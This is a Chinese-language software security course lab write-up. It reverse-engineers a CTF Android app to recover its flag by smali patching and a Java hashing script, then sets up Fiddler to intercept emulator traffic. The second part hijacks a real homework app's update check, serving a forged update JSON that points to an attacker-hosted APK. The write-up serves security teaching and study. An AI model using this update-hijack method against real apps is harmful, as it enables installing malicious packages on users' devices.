软件安全课程实验记录

发布于 2021-03-29  1719 次阅读


0x00 安卓逆向 AddNumber.apk

文件在这

0x00 安装分析apk文件

尝试在安卓模拟器中安装该apk文件,结果却提示应用安装失败。

尝试使用adb来进行安装,结果提示 Failure [INSTALL_PARSE_FAILED_NO_CERTIFICATES]

猜测可能是因为缺少签名,使用AndroidKiller来进行编译签名,重新进行安装,终于安装成功了。

安装成功后,可以看到要我们进行点击,然后点击87654321次后成功,显然我们不可能来手动点击,接下来看看源码。

0x01 源码分析

由于jeb反编译后的源码好看一点,这里就使用jeb了。

首先来看看onCreate()方法,初始化了很多变量,然后设置了onClick监听事件。

    @Override  // android.app.Activity
    @SuppressLint({"UseValueOf"})
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        this.setContentView(0x7F030000);  // layout:activity_main
        this.totalMyTotalNumber = new Integer(0x5397FB1);
        this.totalNumber = (TextView)this.findViewById(0x7F060000);  // id:textView2_aimNumber
        this.totalNumber.setText(this.totalMyTotalNumber.toString());
        this.NowNumber = (TextView)this.findViewById(0x7F060002);  // id:textView4_nowNumber
        this.button_add = (Button)this.findViewById(0x7F060004);  // id:button_add
        this.button_add.setOnClickListener(this);
        this.text_view = (TextView)this.findViewById(0x7F060006);  // id:textView_final
    }

onClick()方法设置了handle

    @Override  // android.view.View$OnClickListener
    public void onClick(View v) {
        switch(v.getId()) {
            case 0x7F060004: {  // id:button_add
                new Thread(new Runnable() {
                    @Override
                    public void run() {
                        Message message = new Message();
                        message.what = 1;
                        MainActivity.this.handler.sendMessage(message);
                    }
                }).start();
                return;
            }
            default: {
                return;
            }
        }
    }

来看看两个handle,

每一次点击mynumber都会加一,然后判断mynumber与totalMyTotalNumber的大小,如果mynumber大于等于totalMyTotalNumber,则实例化一个新组件,然后使用putExtra()将'data'与'android'形成键值对。之后就在success类中生成flag并同样与"data"形成键值对。

    public MainActivity() {
        this.handler = new Handler() {
            @Override  // android.os.Handler
            public void handleMessage(Message msg) {
                if(msg.what != 1) {
                    return;
                }

                ++MainActivity.this.mynumber;
                MainActivity.this.NowNumber.setText(Integer.toString(MainActivity.this.mynumber));
                if(MainActivity.this.mynumber >= ((int)MainActivity.this.totalMyTotalNumber)) {
                    MainActivity.this.mynumber = 0;
                    Intent intent = new Intent(MainActivity.this, success.class);
                    intent.putExtra("data", "android");
                    MainActivity.this.startActivityForResult(intent, 1);
                    return;
                }
            }
        };
        this.handler_ = new Handler() {
            @Override  // android.os.Handler
            public void handleMessage(Message msg) {
                switch(msg.what) {
                    case 1: {
                        String string02 = MainActivity.this.myMessage(MainActivity.this.myMessage(msg.obj.toString()));
                        MainActivity.this.text_view.setText("True flag:" + string02);
                        return;
                    }
                    default: {
                        return;
                    }
                }
            }
        };
    }

然后在success类中,有一个onBackPressed()方法,在跳转后返回上一页面才会返回flag。

    @Override  // android.app.Activity
    public void onBackPressed() {
        Intent intent02 = new Intent();
        intent02.putExtra("data", this.string);
        this.setResult(-1, intent02);
        this.finish();
    }

0x02 方法一:修改源码

这里我们可以使用AndroidKiller修改smali代码,将判断条件进行修改,这里找到对应的smali代码,是利用if-lt进行判断,我们可以将其修改为if-gt,当我们进行一次点击后就会进行跳转。

拿到flag。

0x03 方法二:写脚本

这里我们可以不对源码进行修改,而是选择读懂生成flag的逻辑,然后写脚本获取。

这里success类里的onCreate()方法,获取了之前的键值对的值,然后连续调用了三次check()方法。然后在onBackPressed()方法中返回该值。

    @Override  // android.app.Activity
    protected void onCreate(Bundle arg3) {
        super.onCreate(arg3);
        this.setContentView(0x7F030001);  // layout:success_layout
        this.textView = (TextView)this.findViewById(0x7F060007);  // id:textView_key
        this.intent = this.getIntent();
        this.string = this.check(this.check(this.check(this.intent.getStringExtra("data"))));
        this.textView.setText("成功离你只有一步之遥。。。。。。");
    }

然后我们可以在第二个handle中看到,在获取了新的键值对的值后,又调用了两次myMessage()方法,才得到flag,这下就可以写脚本了。

        this.handler_ = new Handler() {
            @Override  // android.os.Handler
            public void handleMessage(Message msg) {
                switch(msg.what) {
                    case 1: {
                        String string02 = MainActivity.this.myMessage(MainActivity.this.myMessage(msg.obj.toString()));
                        MainActivity.this.text_view.setText("True flag:" + string02);
                        return;
                    }
                    default: {
                        return;
                    }
                }
            }
        };

脚本:

import java.security.MessageDigest;
import java.security.NoSuchAlgorithmException;

public class App {

    public static void main(String[] args){
        System.out.println(myMessage(myMessage(check(check(check("android"))))));
    }

    private static String check(String arg6) {
        MessageDigest messageDigest = null;
        try {
            messageDigest = MessageDigest.getInstance("SHA-1");
        } catch (NoSuchAlgorithmException e) {
            e.printStackTrace();
        }

        assert messageDigest != null;
        messageDigest.reset();
        messageDigest.update(arg6.getBytes());
        return bytesToString(messageDigest.digest());
    }

    private static String bytesToString(byte[] arg7) {
        StringBuilder hexString = new StringBuilder();
        int v3;
        for (v3 = 0; v3 < arg7.length; ++v3) {
            String hex = Integer.toHexString(arg7[v3] & 0xFF);
            if (hex.length() == 1) {
                hexString.append('0');
            }

            hexString.append(hex);
        }
        return hexString.toString();
    }

    private static String myMessage(String string) {
        MessageDigest messageDigest = null;
        try {
            messageDigest = MessageDigest.getInstance("MD5");
        } catch (NoSuchAlgorithmException e) {
            e.printStackTrace();
        }

        assert messageDigest != null;
        messageDigest.reset();
        messageDigest.update(string.getBytes());
        return bytesToString(messageDigest.digest());
    }

}

得到输出:0218d33b334a0a15260d149db58a6e50,即为flag。

0x01

0x00 fiddler安装及配置

首先安装fiddler,打开,选择Tools/Options/Connections,可以选择修改端口号,然后将红框的内容给勾选上。

然后选择Tools/Options/HTTPS,勾选图示红框两个选项,然后会提示安装证书,一直确定就可以了。

之后打开安卓模拟器,要确保物理机与模拟器要在统一网段下,设置模拟器的代理。

打开浏览器,输入192.168.43.222:8888,点击红框所示选项,安装证书。

之后我们就可以利用fiddler抓模拟器的包了。

0x01 apk更新劫持

我们此次的目标是劫持作业x APP的安装包更新,然后使用hfs网络文件服务器上传我们想要让APP安装的安装包,然后新建文件夹 /pluto/publish 上传一个名为checkappupdate的文件,内容如下,md5选项修改为我们想要安装的apk文件的md5值,apkurl修改为 "http://192.168.43.222:6666/com.svw.sc.avacar_42.apk" 也就是我们想要安装的apk的路径。

{
    "errNo":0,
    "errstr":"success",
    "data":{
        "taskId":2090,
        "updateType":2,
        "vcname":"13.23.21",
        "md5":"5687f8fa7fa81db4c81f64caa407cef9",
        "apkUrl":"http://192.168.43.222:6666/com.svw.sc.avacar_42.apk",
        "forceUp":0,
        "tipUrl":"https://img.zuoyebang.cc/zyb_66ab4650bc7502b7384c1927ff851fef.png",
        "tipTitle":"新版尝鲜邀您体验",
        "tipContent":"更多细节优化,快来试试吧",
        "routerVersion":0
    }
}

checkappupdate的内容我们可以通过直接访问 http://zybang.com/pluto/publish/checkappupdate来获取,当然找一个没有更新过的apk安装更新抓包也可以。

{
  "errNo": 0,
  "errstr": "success",
  "data": {
    "md5": "",
    "vcname": "",
    "taskId": 0,
    "apkUrl": "",
    "forceUp": 0,
    "updateType": 1,
    "tipUrl": "",
    "tipTitle": "",
    "tipContent": "",
    "routerVersion": 0
  }
}

之后打开fiddler,修改域名 www.zybang.com 解析到我们的文件服务器地址。

192.168.65.1:6666 www.zybang.com

然后打开作业x,点击检查更新,出现如下界面,证明我们修改成功!